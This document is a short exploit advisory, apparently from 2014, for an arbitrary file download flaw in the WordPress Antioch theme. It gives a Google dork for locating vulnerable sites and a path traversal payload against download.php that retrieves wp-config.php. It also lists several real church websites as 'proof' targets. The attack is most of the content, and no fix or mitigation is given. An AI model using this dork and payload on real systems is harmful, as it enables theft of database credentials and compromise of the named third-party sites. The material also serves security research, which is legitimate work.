WordPress Antioch Arbitrary File Download

|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
|-------------------------------------------------------------------------|
|[*] Exploit Title: Wordpress Antioch Theme Arbitrary File Download  
Vulnerability
|
|[*] Google Dork: inurl:wp-content/themes/antioch
|
|[*] Date : Date: 2014-09-07
|
|[*] Exploit Author: Ashiyane Digital Security Team
|
|[*] Vendor Homepage : http://churchthemes.net/themes/antioch
|
|[*] Tested on: Windows 7
|
|-------------------------------------------------------------------------|
|
|[*] Location :
[localhost]/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|-------------------------------------------------------------------------|
|[*] Proof:
|
|[*]
http://gospelrevolutionchurch.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|[*]
http://fbch.org/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|[*]
http://fbch.org/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|[*]
http://www.stpeterssouthborough.co.uk/beta/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|[*]
http://kingdomfirerevival.com/main/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
|
|
|-------------------------------------------------------------------------|
|[*] Discovered By : ACC3SS
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|